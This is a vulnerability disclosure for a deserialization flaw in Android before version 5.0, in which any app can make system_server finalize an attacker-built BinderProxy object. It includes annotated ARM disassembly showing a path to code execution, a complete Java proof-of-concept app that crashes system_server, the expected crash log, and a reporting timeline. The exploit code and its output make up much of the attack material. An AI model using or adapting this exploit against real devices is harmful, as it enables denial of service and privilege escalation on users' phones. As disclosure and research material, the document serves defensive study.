In Android <5.0, java.io.ObjectInputStream did not check whether the Object that
is being deserialized is actually serializable. That issue was fixed in Android
5.0 with this commit:
<https://android.googlesource.com/platform/libcore/+/738c833d38d41f8f76eb7e77ab39add82b1ae1e2>

This means that when ObjectInputStream is used on untrusted inputs, an attacker
can cause an instance of any class with a non-private parameterless constructor
to be created. All fields of that instance can be set to arbitrary values. The
malicious object will then typically either be ignored or cast to a type to
which it doesn't fit, implying that no methods will be called on it and no data
from it will be used. However, when it is collected by the GC, the GC will call
the object's finalize method.

The android system_service runs under uid 1000 and can change into the context
of any app, install new applications with arbitrary permissions and so on. Apps
can talk to it using Intents with attached Bundles, Bundles are transferred as
arraymap Parcels and arraymap Parcels can contain serialized data. This means
that any app can attack the system_service this way.

The class android.os.BinderProxy contains a finalize method that calls into
native code. This native code will then use the values of two fields of type
int/long (depends on the Android version), cast them to pointers and follow
them. On Android 4.4.3, this is where one of those pointers ends up. r0
contains the attacker-supplied pointer, and if the attacker can insert data
into the process at a known address, he ends up gaining arbitrary code
execution in system_server:

    # attacker controls pointer in r0
0000d1c0 <android::RefBase::decStrong(void const*) const>:
    d1c0:       b570            push    {r4, r5, r6, lr}
    d1c2:       4605            mov     r5, r0
    d1c4:       6844            ldr     r4, [r0, #4]   # attacker controls r4
    d1c6:       460e            mov     r6, r1
    d1c8:       4620            mov     r0, r4
    d1ca:       f7fd e922       blx     a410 <android_atomic_dec@plt>
    d1ce:       2801            cmp     r0, #1
    d1d0:       d10b            bne.n   d1ea
<android::RefBase::decStrong(void const*) const+0x2a>
    d1d2:       68a0            ldr     r0, [r4, #8]   # attacker controls r0
    d1d4:       4631            mov     r1, r6
    d1d6:       6803            ldr     r3, [r0, #0]   # attacker controls r3
    d1d8:       68da            ldr     r2, [r3, #12]  # attacker controls r2
    d1da:       4790            blx     r2             # jump into attacker-controlled r2 pointer

Android does have ASLR, but like all apps, system_server is forked from the
zygote process - in other words, all apps have the same basic memory layout as
system_server and should therefore be able to circumvent system_server's ASLR.

Here's my crash PoC code. Put it in an android app, install that app, open it.
If nothing happens, the GC might be taking its time - try doing other stuff or
reopening the PoC app or so. Your device should do something like a reboot
after a few seconds.

===============================================================================
package net.thejh.badserial;

import java.io.Serializable;
import java.io.UnsupportedEncodingException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

import dalvik.system.DexClassLoader;

import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.os.UserHandle;
import android.os.UserManager;
import android.util.Log;

public class MainActivity extends Activity {
  private static final java.lang.String DESCRIPTOR = "android.os.IUserManager";
  private Class clStub;
  private Class clProxy;
  private int TRANSACTION_setApplicationRestrictions;
  private IBinder mRemote;
  
  public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int userHandle) throws android.os.RemoteException
  {
    android.os.Parcel _data = android.os.Parcel.obtain();
    android.os.Parcel _reply = android.os.Parcel.obtain();
    try {
      _data.writeInterfaceToken(DESCRIPTOR);
      _data.writeString(packageName);
      _data.writeInt(1);
      restrictions.writeToParcel(_data, 0);
      _data.writeInt(userHandle);
      
          byte[] data = _data.marshall();
          for (int i=0; true; i++) {
            if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') {
              data[i] = 'a';
              data[i+1] = 'n';
              break;
            }
          }
          _data.recycle();
          _data = Parcel.obtain();
          _data.unmarshall(data, 0, data.length);
      
      mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
      _reply.readException();
    }
    finally {
      _reply.recycle();
      _data.recycle();
    }
  }

  @Override
  public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    Log.i("badserial", "starting... (v3)");

    Context ctx = getBaseContext();
    try {
      Bundle b = new Bundle();
      AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
      b.putSerializable("eatthis", evilProxy);
      
      Class clIUserManager = Class.forName("android.os.IUserManager");
      Class[] umSubclasses = clIUserManager.getDeclaredClasses();
      System.out.println(umSubclasses.length+" inner classes found");
      Class clStub = null;
      for (Class c: umSubclasses) {
        System.out.println("inner class: "+c.getCanonicalName());
        if (c.getCanonicalName().equals("android.os.IUserManager.Stub")) {
          clStub = c;
        }
      }
      
      Field fTRANSACTION_setApplicationRestrictions =
          clStub.getDeclaredField("TRANSACTION_setApplicationRestrictions");
      fTRANSACTION_setApplicationRestrictions.setAccessible(true);
      TRANSACTION_setApplicationRestrictions =
          fTRANSACTION_setApplicationRestrictions.getInt(null);
      
      UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
      Field fService = UserManager.class.getDeclaredField("mService");
      fService.setAccessible(true);
      Object proxy = fService.get(um);
      
      Class[] stSubclasses = clStub.getDeclaredClasses();
      System.out.println(stSubclasses.length+" inner classes found");
      clProxy = null;
      for (Class c: stSubclasses) {
        System.out.println("inner class: "+c.getCanonicalName());
        if (c.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {
          clProxy = c;
        }
      }
      
      Field fRemote = clProxy.getDeclaredField("mRemote");
      fRemote.setAccessible(true);
      mRemote = (IBinder) fRemote.get(proxy);

      UserHandle me = android.os.Process.myUserHandle();
      setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode());
      
      Log.i("badserial", "waiting for boom here and over in the system service...");
    } catch (Exception e) {
      throw new RuntimeException(e);
    }
  }
}
===============================================================================
package AAdroid.os;

import java.io.Serializable;

public class BinderProxy implements Serializable {
  private static final long serialVersionUID = 0;
  public long mObject = 0x1337beef;
  public long mOrgue = 0x1337beef;
}
===============================================================================


This is what you should see in the system log:

F/libc    (  382): Fatal signal 11 (SIGSEGV) at 0x1337bef3 (code=1), thread 391 (FinalizerDaemon)
[...]
I/DEBUG   (   47): pid: 382, tid: 391, name: FinalizerDaemon  >>> system_server <<<
I/DEBUG   (   47): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef3
I/DEBUG   (   47):     r0 1337beef  r1 b6de7431  r2 b6ee035c  r3 81574845
I/DEBUG   (   47):     r4 b6de7431  r5 1337beef  r6 b7079ec8  r7 1337beef
I/DEBUG   (   47):     r8 1337beef  r9 abaf5f68  sl b7056678  fp a928bb04
I/DEBUG   (   47):     ip b6e1e8c8  sp a928bac8  lr b6de63d9  pc b6e6c15e  cpsr 60000030


Timeline:
22.06.2014 - 26.06.2014  issue reported, PoC shared,
                         issue verified by security@android.com
around 03.11.2014        patch published as part of the AOSP code release
07.11.2014 - 19.11.2014  asked Android team whether disclosing this is OK now,
                         got CVE number from them